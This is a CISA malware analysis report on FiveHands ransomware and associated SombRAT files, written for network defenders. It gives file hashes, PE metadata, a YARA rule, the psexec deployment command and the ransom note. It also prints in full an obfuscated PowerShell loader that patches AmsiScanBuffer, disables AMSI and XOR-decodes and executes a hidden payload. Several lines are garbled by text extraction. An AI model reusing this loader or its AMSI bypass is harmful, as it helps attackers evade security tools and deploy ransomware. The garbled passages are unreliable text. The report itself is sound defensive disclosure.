# MAR-10324784-1.v1: FiveHands Ransomware | CISA

**us-cert.cisa.gov/ncas/analysis-reports/ar21-126b**

## Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of
any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin
or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no
foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules,
TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.uscert.gov/tlp.

## Summary

Description

This Malware Analysis Report (MAR) is the result of analytic efforts by the Cybersecurity and Infrastructure Security Agency (CISA) to provide
detailed analysis of 18 malicious files submitted to CISA. Eight of the files are open-source penetration testing and exploitation tools, one file is
a new ransomware variant, which CISA refers to as FiveHands. The remaining files are associated with the SombRAT remote access trojan
(RAT).

CISA is aware of a recent successful cyberattack against an organization using FiveHands ransomware, SombRAT, and open-source tools to
[ultimately steal information, obfuscate files, and demand a ransom. For more information, refer to Analysis Report AR21-126A.](https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a)

CISA is distributing this MAR, which includes suggested response actions and recommended mitigation techniques, to enable network defense
and reduce exposure to malicious activity.

[For a downloadable copy of IOCs, see: MAR-10324784-1.v1.stix.](https://us-cert.cisa.gov/sites/default/files/publications/MAR-10324784-1.v1.stix.xml)

Submitted Files (18)

18229920a45130f00539405fecab500d8010ef93856e1c5bcabf5aa5532b3311 (RouterScan.exe)

2703aba98d6ecf0bf0b5aafe70edc4bc14d223a11021990bfb10acf5641d3a12 (ServeManager.exe)

3337e3875b05e0bfba69ab926532e3f179e8cfbf162ebb60ce58a0281437a7ef (PsExec.exe)

495a0ccc38fb8f22b48025f030617978cf5fdc3df3fed32b1410ad47747ae177 (rclone.exe)

4de1bd4b1bb28ed0897b9d3c5d16a4b1442c7f53cb389cbed82af189696d3f40 (WwanSvc.txt)

5608c12872229acd84f33bf6c667a1b43d112594b2b5f47f923d631bcce6090c (netscan.lic)

5f312e137beb1ce75f8fdf03a59e1b3cba3dc57ccc16e48daee3ee52c08fa149 (s3browser-9-5-3.exe)

7d57e0ba8b36ec221b16807ce4e13a1125d53922fa50c3827a5ebd6811736ffd (grabff.exe)

911a88fe16efca24206f1786242615596e67a9336bc670c1e44a33727987d886 (WwanSvc.c__2)

a710f573f73c163d54c95b4175706329db3ed89cd9337c583d0bb24b6a384789 (netscan.exe)

a7f5097c0d991c9bbd5f2694ec8c9b484e2ab583d362c42c30556f1271cc8aaa (WwanSvc.a__2)

bfc50bf40aae3b41d77169fba45c332b8c60406b403af647f1bb083918a33b9e (59fb3174bb34e803)

c0a214a60daac6f0ba01ce9128d42bb2d8e81909f4b87963de340ab8627a6b0b (WwanSvc.b__2)

c5a1dbb49ff72a69ac7c52b18e57a21527bc381077b1cea12c3a40e9e98ae6cd (WwanSvc.b)

ccacf4658ae778d02e4e55cd161b5a0772eb8b8eee62fed34e2d8f11db2cc4bc (WwanSvc.bat)

d3d5e5a8a40f34fc8d89b2d74d89a4b101d8b95a79e990e3b4161282aa6aca32 (WwanSvc.c)

dec8655cdd7214daf9579ef481d0b0c6ed8120c120d3bd8ec27cb6e1874eb291 (WwanSvc.a)

e4b67b8ffcc1ed95d3ff26622ab4c67a329f76bd76d0f523f5986e67969354b7 (netscan.xml)

Domains (1)


-----

et cost co

IPs (1)

51.89.50.152

## Findings

**a710f573f73c163d54c95b4175706329db3ed89cd9337c583d0bb24b6a384789**

Tags

reconnaissance

Details

**Name** netscan.exe

**Size** 16539648 bytes

**Type** PE32+ executable (GUI) x86-64, for MS Windows

**MD5** 132071dc69b875d239f133984655a26a

**SHA1** 398d769e0d478175acbdbe9a790b2f6982110e8d

**SHA256** a710f573f73c163d54c95b4175706329db3ed89cd9337c583d0bb24b6a384789

**SHA512** d1263b794b7f0061354f60203a8182d5e34d49347708102712e844f06cd74f4d9d49e2a7e43457b5555a77aefba36c129d2fc01bc7955d

**ssdeep** 393216:2qYAOa2Y/FPGk5oEwxnGNqsnFZur3Ilmsi2e2fkK5:vfN

**Entropy** 6.000632

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

**Compile Date** 2020-08-06 20:31:49-04:00

**Import Hash** 4e157a70f40af9369da3829aa8ddec74

**Company Name** SoftPerfect

**File Description** Multipurpose IPv4/IPv6 network scanner

**Internal Name** None

**Legal Copyright** 2003-2020 SoftPerfect Pty Ltd

**Original Filename** None

**Product Name** SoftPerfect Network Scanner

**Product Version** 7.2.9.0

PE Sections

**MD5** **Name** **Raw Size** **Entropy**

ad11d214295fb4d9adbd1a066255e7e8 header 1024 2.500134

fbbeea3396c7ca2cd30104101f97dd27 .text 12265984 5.683312

d425ff242ca206cce40263fb2d78352e .data 1124352 5.248152

d41d8cd98f00b204e9800998ecf8427e .bss 0 0.000000

1e3b134f1ab07c35cd49080aedf68c18 .idata 27648 4.329594


-----

5d470e5b330b899ac683ef2627311ffa .didata 7168 3.476858

452453fac6e2a76251515b28f624b92c .edata 512 1.885498

d41d8cd98f00b204e9800998ecf8427e .tls 0 0.000000

7a90a77855dd773a08f7d918f96281ff .rdata 512 1.435338

16417b0690d1cef091d32e0a12f00e3b .pdata 544768 6.558393

990e366d847735de51e2a9176ecadaec .rsrc 2567680 6.480051

Relationships

a710f573f7... Created e4b67b8ffcc1ed95d3ff26622ab4c67a329f76bd76d0f523f5986e67969354b7

a710f573f7... Related_To 5608c12872229acd84f33bf6c667a1b43d112594b2b5f47f923d631bcce6090c

Description

This artifact is a stand-alone version of the SoftPerfect Network Scanner, version 7.2.9 for 64-bit operating systems. Information from the
SoftPerfect website follows:

--Begin information-
"SoftPerfect Network Scanner can ping computers, scan ports, discover shared folders and retrieve practically any information about network
devices, via WMI, SNMP, HTTP, SSH and PowerShell. It also scans for remote services, registry, files and performance counters; offers
flexible filtering and display options and exports NetScan results to a variety of formats from XML to JSON."

--End information-
The utility can also be used with Nmap for vulnerability scanning. The utility will generate a report of its findings called 'netscan.xml'
(e4b67b8ffcc1ed95d3ff26622ab4c67a329f76bd76d0f523f5986e67969354b7).

**e4b67b8ffcc1ed95d3ff26622ab4c67a329f76bd76d0f523f5986e67969354b7**

Tags

reconnaissance

Details

**Name** netscan.xml

**Size** 41200 bytes

**Type** XML 1.0 document, ASCII text, with CRLF line terminators

**MD5** e1c8bb6fa3e7fe03320313e568c796c4

**SHA1** 1ce6808e65b517b3305f397af868168f3f8cd24b

**SHA256** e4b67b8ffcc1ed95d3ff26622ab4c67a329f76bd76d0f523f5986e67969354b7

**SHA512** 2a1b9d06d9c6c3b607dc1b5bf48645ef4a47adaff4a193ab77cf416505a8eed8104250bff74de68135cdccb883bff517b71f3c469b77dc06a

**ssdeep** 384:x7noJi3jCFQU6imIyHc+j8/H/fy/fJ/fq/uIpMfBxakR5NmSN1Sv:RnOQXI+j8/H/fy/fJ/fq/uTf7rNmS2v

**Entropy** 4.852693

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

e4b67b8ffc... Created_By a710f573f73c163d54c95b4175706329db3ed89cd9337c583d0bb24b6a384789

Description


-----

s a t act s a te s b e a up a guage ( ) docu e t epo t g sca g esu ts o t e So t e ect et o Sca e p og a e
XML document indicates that a random scan was conducted to identify hostnames on a network and search for web servers, file servers,
database servers as well as search for any open Remote Desktop Protocol (RDP) ports for several subnets of unroutable Internet Protocol (IP)
addresses.

**5608c12872229acd84f33bf6c667a1b43d112594b2b5f47f923d631bcce6090c**

Tags

reconnaissance

Details

**Name** netscan.lic

**Size** 807 bytes

**Type** XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

**MD5** 49bda214f3c635209d2657ca2d395400

**SHA1** 55ec058fee5c6eeb0f2a492c444371bc11e2edb8

**SHA256** 5608c12872229acd84f33bf6c667a1b43d112594b2b5f47f923d631bcce6090c

**SHA512** a177596594195f83288b94ee6327e7d76bb7465a7745d43eff20609324ee194816c0aa7dd3580c6992536e28361e4e39fb228bb9f449b0

**ssdeep** 12:TMGBMWHA+1llfFNKNu9Mdhy96v7C61mnKb3vEjycE1IKV7X5ThQaisyoMkZtE/jQ:3BMY5jPMdnGpKL8cVr5TyoFXmYdz

**Entropy** 5.985489

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

5608c12872... Related_To a710f573f73c163d54c95b4175706329db3ed89cd9337c583d0bb24b6a384789

Description

To unlock all of the features of the SoftPerfect Network Scanner, a license is required. This artifact is the Network Scanner license that was
included with this submission. The license name is 'DeltaFoX'.

**3337e3875b05e0bfba69ab926532e3f179e8cfbf162ebb60ce58a0281437a7ef**

Tags

trojanutility

Details

**Name** PsExec.exe

**Size** 339096 bytes

**Type** PE32 executable (console) Intel 80386, for MS Windows

**MD5** 27304b246c7d5b4e149124d5f93c5b01

**SHA1** e50d9e3bd91908e13a26b3e23edeaf577fb3a095

**SHA256** 3337e3875b05e0bfba69ab926532e3f179e8cfbf162ebb60ce58a0281437a7ef

**SHA512** bec172a2f92a95796199cfc83f544a78685b52a94061ce0ffb46b265070ee0bcc018c4f548f56018bf3ff1e74952811b2afb6df79ab8d09f1e

**ssdeep** 3072:Yao79VuJ6titIi/H7ZUFgllxiBD+P5xWr3geNtdS+DlGttzhA9HY4ZUFxPkwlmlP:YaSq4TBWISSTgu7DlGtEC1xn/O5r4S

**Entropy** 6.384233

Antivirus


-----

**Filseclab** Trojan.Generic.dlwa

**Sophos** App/PsExec-Gen

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

**Compile Date** 2016-06-28 14:43:09-04:00

**Import Hash** c1e59519b5e5d84af07afa6f5a8625f1

**Company Name** Sysinternals - www.sysinternals.com

**File Description** Execute processes remotely

**Internal Name** PsExec

**Legal Copyright** Copyright (C) 2001-2016 Mark Russinovich

**Original Filename** psexec.c

**Product Name** Sysinternals PsExec

**Product Version** 2.2

PE Sections

**MD5** **Name** **Raw Size** **Entropy**

7cfa223c41f292fcbcf6b4bc2450b9d8 header 1024 2.762995

c9b5782085d470d0c2311dc4aaa3e135 .text 99840 6.586757

c584cc8d01770f418f361866f1875866 .rdata 59392 4.596671

5172fd3fffd89c75d05b1f62ba527455 .data 9216 2.182345

bfbb6b1ebaff1f3ff6874d8100f7a64b .rsrc 147456 6.378895

71d427456a8bd35b3821f185880b287a .reloc 6144 6.631418

Packers/Compilers/Cryptors

Microsoft Visual C++ ?.?

Description

This artifact is the legitimate remote administration program, called psexec.exe. This tool is part of Microsoft's Sysinternals tool suite. This
utility was used to execute the program ServeManager.exe with the following arguments:

---Begin Command Line Arguments--
psexec.exe -d @comps.txt -s -relatime -c ServeManager.exe -key xxxxxxxxxxxxxxxx

---End Command Line Arguments--
The above arguments are defined as follows:

---Begin Argument Definitions--
-d --> Run psexec.exe without any prompts.

@ --> Remotely access this list of hostnames/IP addresses.

-s --> Run the program with system level privileges.

-relatime --> This is a typo. This should be -realtime, or run this process before any other process.

-c --> Copy the program to the remote system before executing.

---End Argument Definitions--
**2703aba98d6ecf0bf0b5aafe70edc4bc14d223a11021990bfb10acf5641d3a12**

Tags


-----

d oppe ob uscatedt oja

Details

**Name** ServeManager.exe

**Size** 253456 bytes

**Type** PE32 executable (GUI) Intel 80386, for MS Windows

**MD5** c095498fc44d680ad8b4efeb014d339f

**SHA1** ad571ef3c255c8806a09d50ac504cf4bfce8aca0

**SHA256** 2703aba98d6ecf0bf0b5aafe70edc4bc14d223a11021990bfb10acf5641d3a12

**SHA512** 029202e8a32f36b8496bb4a09525fa372feec264e9cf1864f469676b7e1560b2bc7917e7799636de8d2e7df7f568e9418c49ac9fa3f1aba9

**ssdeep** 6144:tVgUc9JwBsHC/WwblTClkO0hoS19E42nXkBIC:t09WBsH2WwbFCeO0X6XjC

**Entropy** 7.609914

Antivirus

**Ahnlab** Malware/Win32.Trojan

**Bitdefender** Gen:Variant.Zusy.375932

**ESET** a variant of Win32/Filecoder.DeathRansom.F trojan

**Emsisoft** Gen:Variant.Zusy.375932 (B)

**Ikarus** Trojan-Ransom.DeathRansom

**K7** Riskware ( 0040eff71 )

**Lavasoft** Gen:Variant.Zusy.375932

**Microsoft Security Essentials** Ransom:Win32/FileCryptor.PAC!MTB

**NANOAV** Trojan.Win32.Redcap.itrfgt

**Systweak** malware.generic

**VirusBlokAda** Trojan.Tiggre

**Zillya!** Trojan.Filecoder.Win32.18232

YARA Rules


-----

u e C S _ 03 8 _0 a so a e t oja oade S
{
meta:
Author = "CISA Code & Media Analysis"
Incident = "10324784"
Date = "2021-03-23"
Last_Modified = "20210323_1100"
Actor = "n/a"
Category = "Ransomware Trojan Loader"
Family = "FIVEHANDS"
Description = "Detects Five Hands Ransomware Loader"
MD5_1 = "c095498fc44d680ad8b4efeb014d339f"
SHA256_1 = "2703aba98d6ecf0bf0b5aafe70edc4bc14d223a11021990bfb10acf5641d3a12"
strings:
$s0 = { 2D 00 6B 00 65 00 79 }
$s1 = "GetCommandLineW"
$s2 = "CommandLineToArgvW"
$s3 = { 81 39 50 45 00 00 }
$s4 = { B9 4D 5A 00 00 }
$s5 = { 8B C3 C1 E8 10 83 E9 10 0F B6 C0 }
$s6 = { 8B CA C1 E9 08 0F B6 D1 8B 4D F0 C1 E9 10 0F B6 C9 }
$s7 = { 8B 3C 96 03 F9 33 F6 }
$s8 = { 85 C0 74 02 FF D0 }
condition:
all of them
}

ssdeep Matches

No matches found.

PE Metadata

**Compile Date** 2021-01-19 02:05:55-05:00

**Import Hash** 8517cf209c905e801241690648f36a97

PE Sections

**MD5** **Name** **Raw Size** **Entropy**

f5922d8b7fdbacccee657c9937f420c0 header 1024 2.699721

69651f6a58de87e3d888a2a5260db050 .text 68608 6.686025

174a90746e521c22a6d696e5c1f071ee .rdata 27648 5.194163

b3d0dd819218729fc349c63ce16b6252 .data 2560 2.221845

bd90dc8684f5b3e44d9b014e286e1319 .rsrc 512 4.710061

4c6042cddd17092933f1f367920cc3b6 .reloc 5120 6.461440

Packers/Compilers/Cryptors

Microsoft Visual C++ ?.?

Description

This artifact is a 32-bit executable file that is executed using the Microsoft Sysinternals remote administration tool, psexec.exe. When the
program is executed it will attempt to load into memory a large embedded module that is decoded with a supplied key, 'xxxxxxxxxxxxxxxx'. The
module is decoded in memory and checked to verify that it has a PE header. If the header is verified, the payload is executed.

The payload is a 32-bit executable file that is used to encrypt files on the victim’s system to extort a ransom. When the ransomware is
executed, it will enumerate files and folders on the system and encrypt files with the extensions, .txt, .chm, .dat, .ocx, .js, .tlb, .vbs, .sys, .lnk,
.xml, .jpg, .log, .zip, .htm, .ini, .gif, .html, .css, and others. Key system files are not encrypted.

The ransomware uses a public key encryption scheme called "NTRUEncrypt". To thwart the recovery of the data, it uses Windows
Management Instrumentation (WMI) to enumerate Volume Shadow copies using the command “ select * from Win32_ShadowCopy” and then
deletes copies by ID (Win32 ShadowCopy.ID). The malware will also encrypt files in the recovery folder at C:\Recovery. After the files are


-----

e c ypted t e p og a te a a so ote to eac o de a d d ecto y o t e syste ca ed ead_ e_u oc t t e o o g s t e
content of the ransom note:

---Begin Ransom Note--Hello, you were hacked, and your files were encrypted. ! Do not try to change the file extensions yourself, it may result in an error during
decryption! Contact us and we can solve it all.

If you start an independent recovery, or contact the police and other authorities, we will continue, but this time for all your clients. We also want
to assure you of our seriousness, in case of refusal from the dialogue, we will use not one, 0 day, but several, also your source codes will be
sold from auctions in 5 hands.

Email contact: xxxxxxxxxxxx[@]protonmail.com

OR

-- Contact with us by method below
1) Open this website in TOR browser: hxxp[:]//xxxxxxxxxxxxxxxx.onion/xxxxxxxxxxxxxxxxxxxx
2) Follow instructions in chat.
---End Ransom Note--
**ccacf4658ae778d02e4e55cd161b5a0772eb8b8eee62fed34e2d8f11db2cc4bc**

Tags

backdoorloadertrojan

Details

**Name** WwanSvc.bat

**Size** 247 bytes

**Type** DOS batch file, ASCII text, with CRLF line terminators

**MD5** 1f6495ea7606a15daa79be93070159a8

**SHA1** fdf9b1098480dd4145d7d39dc1b75fb6180e09ec

**SHA256** ccacf4658ae778d02e4e55cd161b5a0772eb8b8eee62fed34e2d8f11db2cc4bc

**SHA512** 55abb0a936c3631e424748085b353e67ca8209006e92365c3fd3f256569f05ae99efeff818d1eefabba47fb11f59644c0e926027c30fbe076

**ssdeep** 6:hsQLpjR9nyDzLgyKBM3S1R1KCsu2xKRYPdpVjku5HjJVGnyn:CQdjR9nYLgyaIS1PKC2l1pVh5HjJsny

**Entropy** 5.360619

**Path** C:\ProgramData\Microsoft\WwanSvc\

Antivirus

**Ahnlab** Backdoor/BAT.Runner

**Microsoft Security Essentials** Trojan:BAT/Somrat

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

ccacf4658a... Used 4de1bd4b1bb28ed0897b9d3c5d16a4b1442c7f53cb389cbed82af189696d3f40

Description

This artifact is a batch file. When executed it will invoke PowerShell, which decodes and executes a base64 encoded PowerShell script called
"WwanSvc.txt" (4de1bd4b1bb28ed0897b9d3c5d16a4b1442c7f53cb389cbed82af189696d3f40) in the path
C:\ProgramData\Microsoft\WwanSvc\.

**4de1bd4b1bb28ed0897b9d3c5d16a4b1442c7f53cb389cbed82af189696d3f40**

Tags


-----

oade ob uscated

Details

**Name** WwanSvc.txt

**Size** 9838 bytes

**Type** ASCII text, with very long lines, with CRLF line terminators

**MD5** 3c3770c42665416a9b3f2deda1056aed

**SHA1** b93122942f58693936f060224d1b798ff23fe547

**SHA256** 4de1bd4b1bb28ed0897b9d3c5d16a4b1442c7f53cb389cbed82af189696d3f40

**SHA512** b9a04d2109746c37f73f1d651532e8ccf63b21756a9da920b0aab331deb9ad5c506e7a856e137a7965ec11c7742940583d5c197d7e472

**ssdeep** 192:ZxFpwcjL3ceUZQR2Z1Pgk4HxE8TDEGJ5PWJ/LVkZCfjDR5CBtDKLODZAaxeS9gNm:ZxFpjMeUiygk4HyiHvujSZCbstuCrg0v

**Entropy** 5.663394

**Path** C:\ProgramData\Microsoft\WwanSvc\

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

4de1bd4b1b... Used dec8655cdd7214daf9579ef481d0b0c6ed8120c120d3bd8ec27cb6e1874eb291

4de1bd4b1b... Used d3d5e5a8a40f34fc8d89b2d74d89a4b101d8b95a79e990e3b4161282aa6aca32

4de1bd4b1b... Used_By ccacf4658ae778d02e4e55cd161b5a0772eb8b8eee62fed34e2d8f11db2cc4bc

Description

This artifact is a Base64 encoded PowerShell script that is decoded and executed by WwanSvc.bat
(ccacf4658ae778d02e4e55cd161b5a0772eb8b8eee62fed34e2d8f11db2cc4bc). The decoded content of the file follows:

---Begin Decoded PowerShell Script--
Function ge`T-proCad`dreSS
{
Param
(

[OutputType([IntPtr])]

[Parameter( poSITion = 0, MAnDAToRY = ${t`RuE} )]

[String]
${mo`DUlE},

[Parameter( PosITion = 1, MAnDatoRy = ${TR`Ue} )]

[String]
${PRo`CED`UrE}
)

${sYsT`e`mAsSE`mbly} = [AppDomain]::"cUrr`eN`Tdo`maIN"."g`EtasS`emblieS"() | W`He`Re-ObJECt { ${_}."GL`OBA`LAs`sEm`Bl`ycAcHE" And ${_}."LOCA`T`IOn"."s`plIT"((('{0}{0}') -f [ChAR]92))[-1]."eQU`Als"(('Sys'+'tem.dl'+'l')) }
${uNs`AFe`N`ATiV`emethoDs} = ${s`yStEM`ASS`E`mbLY}."Getty`pe"(('Mic'+'roso'+'ft.'+'Win'+'32.U'+'nsafeN'+'at'+'i'+'ve'+'Methods'))

${g`eTmo`DuLE`Han`d`LE} = ${uNSAF`E`NAtIVE`Met`H`O`ds}."gE`TmethOd"(('G'+'etModule'+'Hand'+'le'))
${G`EtpROCa`d`dre`sS} = ${unS`AFEnA`T`iVEmE`ThoDs}."g`ETMe`THoD"(('GetPr'+'oc'+'Addr'+'ess'), [reflection.bindingflags]
('Publi'+'c,Sta'+'t'+'i'+'c'), ${n`UlL}, [System.Reflection.CallingConventions]::"A`Ny", @((NE`w-OBj`ECT ('S'+'y'+('ste'+'m'+'.R')+
('un'+'time'+' Int')+'er'+('op'+'Se')+'r'+'v'+('ice'+'s Han'+'d')+('le'+'R')+'ef')) "G`ettYPe"() [string]) ${N`ULl});


-----

${KErN`3`2`HA`NDLe} = ${gEtMoD`U`leha`NDLE}."in`VOkE"(${nu`ll}, @(${m`OdU`lE}))
${t`M`pPTr} = ne`w-`obJEcT (('IntP'+'t')+'r')
${H`A`N`dLERef} = N`eW-OB`je`cT ('Sy'+'s'+'te'+('m'+'.'+'Runt')+'i'+('m'+'e.Inte'+'rop'+'Se'+'rvices.Ha')+('n'+'dl')+('eRe'+'f'))(${tM`pP`TR},
${K`ERn32H`AnD`Le})

Wr`ItE-ouTP`UT ${gETp`RO`c`AdDRE`Ss}."i`N`VOke"(${nu`LL}, @([System.Runtime.InteropServices.HandleRef]${h`A`Ndle`REF},
${Pro`Ced`Ure}))
}

Function G`E`TdELtYPE
{
Param
(

[OutputType([Type])]

[Parameter( POSItion = 0)]

[Type[]]
${Pa`R`AMeT`eRs} = (New-`oB`ject (('T'+'ype')+'[]')(0)),

[Parameter( poSitIon = 1 )]

[Type]
${rE`T`UrntYpE} = [Void]
)

${d`OmaIN} = [AppDomain]::"cUrRenTdOM`A`In"
${DYN`AssE`mBLY} = NEW`-oBje`CT ('S'+'y'+('stem.'+'Re'+'fl')+('ec'+'ti')+('on.'+'As')+('s'+'emb')+('l'+'yN')+('a'+'me'))
(('Ref'+'lec'+'ted'+'De'+'leg'+'ate'))
${AssEM`Bl`y`BU`ild`Er} = ${d`OMa`IN}."defiNED`yNa`Mi`C`ASs`eM`Bly"(${DY`NasSEmB`lY},

[System.Reflection.Emit.AssemblyBuilderAccess]::"r`Un")
${mOD`UL`EBUil`dEr} = ${AsSemBlyB`Ui`Ld`ER}."DeF`I`NE`dynA`MicmoD`UlE"(('InMe'+'m'+'ory'+'Mo'+'dule'), ${F`Alse})
${T`yP`eB`UiLdeR} = ${m`oDuleBUILD`eR}."dEfIn`Et`Ype"(('md'+'elty'+'pe'), ('Class, Public'+', Sealed, '+'Ans'+'i'+'C'+'lass,
'+'A'+'u'+'toC'+'la'+'s'+'s'), [System.MulticastDelegate])
${CON`sTR`UctOR`BuILdeR} = ${TypE`Bui`ld`er}."De`FiN`ECoNs`TrucT`OR"(('RT'+'Special'+'Na'+'me'+', HideBySi'+'g'+', Publi'+'c'),

[System.Reflection.CallingConventions]::"s`TANda`Rd", ${PArame`Te`Rs})
${construc`T`o`RbUi`LdER}."sEt`I`MpLeMEnTA`TiON`Flags"(('Runti'+'me'+','+' Managed'))
${m`Eth`od`BUI`ldEr} = ${T`YPEB`U`iLdER}."dE`FiN`eMeT`hOD"('Invoke', ('Pu'+'blic, '+'Hid'+'eBy'+'Sig,'+' New'+'S'+'l'+'ot, '+'V'+'irtual'),
${RETUr`Nt`yPe}, ${par`AMET`ErS})
${M`e`ThODbui`lDeR}."S`eti`mplEmEnTAT`ioNf`lAGs"(('Runti'+'me,'+' Man'+'a'+'g'+'ed'))

w`RiTe-`oUtPUt ${t`YP`eBu`IlDEr}."cr`E`AtETy`Pe"()
}

Function g`EtW32
{
${W`32} = New`-oBje`cT (('Sy'+'s')+('tem.O'+'bje')+'ct')

${Vp`A`dDR} = Ge`T-pr`OCaddRess (('ke'+'rn')+'el'+('32'+'.d'+'ll')) ('V'+('i'+'rtu'+'alPr')+'o'+('tec'+'t'))
${VpD`el} = gEt`D`elT`Ype @([IntPtr], [UIntPtr], [UInt32], [UInt32]."mA`K`EbyR`e`FType"()) ([Bool])
${V`p} = [System.Runtime.InteropServices.Marshal]::"gETD`ElEgAte`FORfUnCTI`oNP`oINt`Er".Invoke(${VP`Ad`dR}, ${v`PDEL})
${W`32} | aD`d-`m`eMbEr (('Not'+'e')+('Pr'+'oper')+'t'+'y') -Name (('V'+'irtu')+'al'+('P'+'ro'+'tec')+'t') -Value ${v`P}

${wPM`AdDr} = gE`T`-P`ROc`AddRess (('ke'+'rne')+('l3'+'2')+('.d'+'ll')) ('W'+('r'+'ite')+'P'+('ro'+'ce')+('s'+'sM')+('e'+'mory'))
${W`Pmdel} = GeT`d`eLTyPE @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr]."MAkE`ByrEFT`YpE"()) ([Bool])
${w`pM} = [System.Runtime.InteropServices.Marshal]::"GE`Tdel`egATE`FoR`FUNc`T`i`OnPOiNTER".Invoke(${WP`mA`Ddr}, ${WP`m`del})
${W`32} | AD`d`-member -MemberType (('No'+'t')+'eP'+('rop'+'er')+'ty') -Name ('Wr'+'it'+('eP'+'r')+'o'+('ce'+'s'+'sMemory')) -Value ${W`Pm}

${GETMoDu`L`e`Ha`NdLeAdDR} = g`Et-pROCAdd`R`eSS (('ker'+'n')+'e'+'l'+('32'+'.'+'dll')) ('Ge'+'t'+('M'+'od')+('u'+'le')+('Ha'+'ndl'+'eA'))
${gET`Mo`dUleHa`N`dLEDELegAte} = geT`DELT`Y`pE @([String]) ([IntPtr])
${Get`moDU`leH`ANDLE} =

[System.Runtime.InteropServices.Marshal]::"GET`DElEGATEFor`F`U`N`CtION`POi`NTeR".Invoke(${GeTmod`U`LeHa`NdL`eAddr},
${ge`T`Mo`DUlEhAN`Dled`eLeGAte})
${W`32} | Add-Me`mB`ER ('No'+('te'+'P'+'rop')+('er'+'ty')) -Name (('Get'+'M')+'od'+('ule'+'Han'+'dle')) -Value ${g`et`MoDUL`EH`ANDlE}


-----

${GEtpr`Oc`ADdRessA`DdR} = gEt-pR`o`C`ADDrE`sS (('k'+'er')+'ne'+('l32'+'.')+('d'+'ll')) ('Ge'+'t'+('P'+'ro')+'cA'+('ddr'+'ess'))
${gEt`ProCADDRE`SSdE`LegA`Te} = GEtD`eLT`y`pe @([IntPtr], [String]) ([IntPtr])
${Get`prOcaDd`R`ESS} =

[System.Runtime.InteropServices.Marshal]::"GET`d`ElEgAT`E`FORfUNct`Io`N`pO`inTeR".Invoke(${GeTpROCA`Ddr`e`S`Sa`DDr},
${geTp`RoCadD`R`EssDeLEG`ATe})
${w`32} | ADD`-m`EmBer -MemberType ('No'+'te'+('P'+'ro')+('pe'+'rty')) -Name (('G'+'et')+'P'+('rocAd'+'dre')+'s'+'s') -Value
${Ge`Tp`ROCaDDrE`SS}

${mE`Mc`py`AdDr} = Ge`T-pR`oC`Add`REss ('ms'+('vc'+'rt.')+('d'+'ll')) (('m'+'em')+('c'+'py'))
${MeM`c`pydeLE`GatE} = g`et`DeLtyPE @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
${M`EmcpY} = [System.Runtime.InteropServices.Marshal]::"Ge`TDelegATEfOrf`UnC`TiONP`OINT`Er".Invoke(${m`EmCPY`Ad`DR},
${me`Mcpy`de`legatE})
${W`32} | aDd-M`eMb`ER -MemberType (('No'+'t')+'e'+('P'+'ro')+('pert'+'y')) -Name ('me'+'m'+('cp'+'y')) -Value ${ME`mc`pY}

return ${W`32}
}

[UInt32]${O`LdPrOtectFl`Ag} = 0
${W`i`N32} = GEt`W32
${a`mSi} = ${W`in32}."G`Et`mODulehA`Ndle"."iNvO`KE"(('ams'+'i'+'.dll'))
if (${aM`Si} -ne 0) {
${P`ROC} = ${w`in`32}."G`etPROCAD`dr`ess"."In`Vo`kE"(${a`MSI}, ('A'+'m'+'s'+'iScanB'+'uffer'))
if (${P`Roc} -ne 0) {
if ([IntPtr]::"sI`zE" -eq 8) {
${paT`cH} = @( 0x48, 0x31, 0xC0, 0xC3 )
} else {
${pAT`Ch} = @( 0x31, 0xC0, 0xC3 )
}

${r`es} = ${wI`N`32}."Vi`RtUaLpRoT`E`CT"."I`NVoKE"(${P`RoC}, [UInt32]${pA`TcH}."LEn`GTH", 0x40, [Ref]${OldproT`e`c`TF`Lag})
if (${R`Es} -ne 0)
{
for (${Of`Fs`et} = 0; ${offs`ET} -lt ${PAt`cH}."lENg`Th"; ${oFF`s`Et}++)
{
[System.Runtime.InteropServices.Marshal]::"Wr`iT`EbY`Te".Invoke(${P`Roc}, ${Of`FseT}, ${p`AT`cH}[${OfFs`ET}]);
}
}
}
}

${Dat`A0}=

[IO.File]::"r`eA`dAl`LbyTES".Invoke((('C:pk'+'Wp'+'rogramda'+'t'+'apkWMic'+'r'+'osoft'+'p'+'kWWw'+'an'+'S'+'v'+'c.a').REplACe(([ChAR]112+

[ChAR]107+[ChAR]87),'\')))
${dA`Ta1}= [IO.File]::"reA`DAlL`Byt`eS".Invoke((('C:F'+'zCprog'+'r'+'amdat'+'aF'+'zCMi'+'cros'+'o'+'f'+'t'+'FzCW'+'wanSvc'+'.c') replACe([chaR]70+[chaR]122+[chaR]67),[chaR]92))

for(${i}=0; ${I} -lt ${Da`TA1}."COu`Nt" ; ${i}++) { ${da`T`A1}[${I}] = (${dAT`A1}[${I}] -bxor ${dA`TA0}[${i} % ${D`A`TA0}."cO`UNT"])}
${d`A`Ta1} = [System.Text.Encoding]::"ASc`iI"."g`ets`Tring"(${Da`TA1})

try { ${L}=[Ref]."AS`s`EMBlY"."GE`TT`YPE"(('Sy'+'stem.M'+'anagem'+'en'+'t.A'+'uto'+'m'+'ation.A'+'m'+'siU'+'t'+'ils')); if (${L} -ne 0) {
${f}=${L}."gET`FiEld"(('amsi'+'Ini'+'tF'+'ailed'),('NonPub'+'l'+'i'+'c,Static')); if (${f} -ne 0) { ${F}."sET`V`ALUE"(${nu`lL},${TR`UE}); wrI`TE`-HosT
('k') }; }; WritE-H`o`st "." } catch { Wri`TE-`HOst ${_} }

I`Nvo`Ke-E`xPRe`SS`ion -Command ${D`ATA1}
